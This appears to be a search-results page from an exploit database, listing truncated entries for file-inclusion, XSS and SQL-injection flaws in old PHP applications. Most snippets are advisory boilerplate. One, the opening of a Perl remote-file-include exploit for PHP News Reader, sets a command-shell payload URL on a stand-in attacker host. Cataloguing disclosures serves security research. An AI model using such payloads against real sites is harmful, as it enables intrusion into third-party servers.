5278 matches found
PHP News Reader <= 2.6.4 (phpbb.inc.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl PHP News Reader Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://pnews.sourceforge.net/ use IO::Socket; use LWP::Simple; $cmdshell=http://attacker.com/cmd.txt; ====== Change This Line...
Dataface Local File Include
No description provided by source. //========================================================================== // Topic : Dataface // Bug type : local file include // Advisory : http://xataface.com/ //========================================================================== // Author : ItSecTea...
Drake CMS 0.3.7 404.PHP Local File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/23215/info Drake CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts...
Blog:CMS 4.1 Thumb.PHP Remote File Include Vulnerability
No description provided by source...
V-webmail 1.6.4 includes/pear/Net/Socket.php CONFIG[pear_dir] Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/30162/info V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues can allow an attacker to compromise the application and t...
3editor CMS <= 0.42 (index.php) Local File Include Vulnerability
No description provided by source. script Name: 3editor CMS index.php Local File Include Exploit Download:http://www.matteolucarelli.net/3editor/index.htm Author : Dr Max Virus Contact :[email protected] Bug & Problem In file index.php Let's Take a look; if !isset$GET'page'...
OpenBiblio 0.x theme_preview.php themeName Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/27053/info OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local...
vtiger CRM 4.2 Leads Module record Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/15562/info vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. vTiger CRM is prone to multiple SQL injection, HT...
LoudBlog 0.41 index.php template Parameter Traversal Arbitrary File Access
No description provided by source. source: http://www.securityfocus.com/bid/17023/info Loudblog is prone to multiple input-validation vulnerabilities: - An SQL-injection vulnerability. - Two local file-include vulnerabilities. - An information-disclosure vulnerability. These issues allow remote...
My File Explorer 1.3.1 iOS - Multiple Web Vulnerabilities
No description provided by source. Document Title: =============== My File Explorer v1.3.1 iOS - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1107 Release Date: ============= 2013-10-09 Vulnerability Laboratory ID VL-ID:...
V-webmail 1.6.4 includes/pear/XML/Parser.php CONFIG[pear_dir] Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/30162/info V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues can allow an attacker to compromise the application and t...
b2 Blog <= 0.5 (b2verifauth.php) Remote File Include Vulnerability
No description provided by source...
n@board <= 3.1.9e (naboard_pnr.php) Remote File Include Vulnerability
No description provided by source. n@board v3.1.9e, 3.1.8cgb ,3.1.8tc skin Remote File Include Vulnerability Turkish Hacker's Discovered By : mdx and TheBatHacker ------------------------------------------------------ Cyber-Warrior TIM Ay ve Y.ld.zlar Geceye Yak...r... the moon and the stars suit...
Quick Classifieds 1.0 - controlcenter/verify.php3 DOCUMENT_ROOT Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/28417/info Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the applicati...
OpenBiblio 0.x staff_del_confirm.php Multiple Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/27053/info OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local...
YaPiG 0.9x Remote and Local File Include Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/13874/info YaPiG is affected by remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to execut...
Irokez Blog 0.7.3.2 Multiple Input Validation Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/33931/info Irokez Blog is prone to multiple input-validation vulnerabilities: - A cross-site scripting issue - An SQL-injection issue - Multiple remote file-include issues Exploiting these issues could allow an attacker t...
mini CMS / News Script Light 1.0 - Remote File Include Exploit
No description provided by source. !/usr/bin/perl mini CMS / News Script Light 1.0 Remote File Include Exploit Bug found and exploit written by bd0rk || SOH-Crew Vendor: http://www.hinnendahl.com/ Downloadsite: http://www.hinnendahl.com/index.php?seite=download Description: The scriptpfad paramet...
DodosMail 2.5 'dodosmail.php' Local File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/30112/info DodosMail is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability using directory-traversal strings to execute local...
AlstraSoft Video Share Enterprise 4.x MyajaxPHP.PHP Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/19724/info AlstraSoft Video Share Enterprise is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote fil...